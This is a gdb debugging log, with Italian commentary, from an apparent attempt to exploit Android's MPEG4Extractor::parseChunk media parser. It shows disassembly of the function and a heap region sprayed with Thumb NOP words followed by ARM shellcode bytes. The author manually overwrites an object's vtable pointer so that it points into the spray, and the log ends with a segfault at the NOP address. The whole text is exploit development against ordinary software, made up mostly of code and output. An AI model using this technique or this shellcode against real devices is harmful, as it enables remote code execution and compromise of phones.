Dump of assembler code for function _ZN7android14MPEG4Extractor10parseChunkEPxi:
0xb66e0ff8 <+0>: stmdb sp!, {r4, r5, r6, r7, r8, r9, r10, r11, lr}
0xb66e0ffc <+4>: vpush {d8}
0xb66e1000 <+8>: mov r6, r0
0xb66e1002 <+10>: ldr.w r8, [pc, #708] ; 0xb66e12c8 <_ZN7android14MPEG4Extractor10parseChunkEPxi+720>
0xb66e1006 <+14>: mov r9, r1
0xb66e1008 <+16>: ldr r3, [pc, #704] ; (0xb66e12cc <_ZN7android14MPEG4Extractor10parseChunkEPxi+724>)
0xb66e100a <+18>: sub sp, #444 ; 0x1bc
0xb66e100c <+20>: add r8, pc
0xb66e100e <+22>: add r7, sp, #120 ; 0x78
0xb66e1010 <+24>: str r2, [sp, #52] ; 0x34
0xb66e1012 <+26>: ldr.w r5, [r8, r3]
0xb66e1016 <+30>: ldrd r2, r3, [r1]
0xb66e101a <+34>: ldr r4, [sp, #52] ; 0x34
0xb66e101c <+36>: ldr r1, [pc, #688] ; (0xb66e12d0 <_ZN7android14MPEG4Extractor10parseChunkEPxi+728>)
0xb66e101e <+38>: ldr r0, [r5, #0]
0xb66e1020 <+40>: strd r2, r3, [sp]
0xb66e1024 <+44>: ldr r2, [pc, #684] ; (0xb66e12d4 <_ZN7android14MPEG4Extractor10parseChunkEPxi+732>)
0xb66e1026 <+46>: str r4, [sp, #8]
0xb66e1028 <+48>: add r1, pc
0xb66e102a <+50>: str r0, [sp, #436] ; 0x1b4
0xb66e102c <+52>: movs r0, #2
0xb66e102e <+54>: add r2, pc
0xb66e1030 <+56>: blx 0xb66bc038 <__android_log_print@plt>
0xb66e1034 <+60>: ldr r0, [r6, #80] ; 0x50
0xb66e1036 <+62>: movs r3, #8
0xb66e1038 <+64>: ldr r1, [r0, #0]
0xb66e103a <+66>: str r7, [sp, #0]
0xb66e103c <+68>: str r3, [sp, #4]
0xb66e103e <+70>: ldrd r2, r3, [r9]
=> 0xb66e1042 <+74>: ldr r4, [r1, #28]
0xb66e1044 <+76>: blx r4
Perché segfaults btw?
Aggiornamento 3:
Penso di averlo capito, il puntatore del vtable deve essere sovrascritto anche con un puntatore!
heap con nop e shellcode:
0xb3000230: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb3000240: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb3000250: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb3000260: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb3000270: 0xe28f3001 0xe12fff13 0x1c221b24 0x31ff21ff
0xb3000280: 0x31ff31ff 0x46783105 0x2705302a 0x2214df01
0xb3000290: 0x310c4679 0xdf012704 0x1c201b24 0xdf012701
Here set the vtable pointer to 0xb3000240
(gdb) set *((int *) 0xb8898ab8) = 0xb3000240
(gdb) x/10x 0xb8898ab8
0xb8898ab8: 0xb3000240 0xb8898ae8 0xb8898b00 0x00000000
0xb8898ac8: 0xb8891818 0x002e0064 0x0000001c 0x00000000
0xb8898ad8: 0x0100024c 0xb1fa3008
(gdb) delete breakpoints
Delete all breakpoints? (y or n) y
(gdb) cont
Continuing.
[New LWP 6016]
Thread 11 "Binder_1" received signal SIGSEGV, Segmentation fault.
0xbf00bf00 in ?? ()
(gdb) i r
r0 0xb8898ab8 3096021688
r1 0xb3000240 3003122240
r2 0x1000305 16777989
r3 0x0 0
r4 0xbf00bf00 3204497152
r5 0xb6ebfde4 3068919268
r6 0xb8898b38 3096021816
r7 0xb513d700 3037976320
r8 0xb673e7d0 3061049296
r9 0xb513da68 3037977192
r10 0x1c 28
r11 0xffffffff 4294967295
r12 0xb513d1c8 3037974984
sp 0xb513d688 0xb513d688
lr 0xb6684047 -1234681785
pc 0xbf00bf00 0xbf00bf00
cpsr 0x200f0010 537853968
(gdb)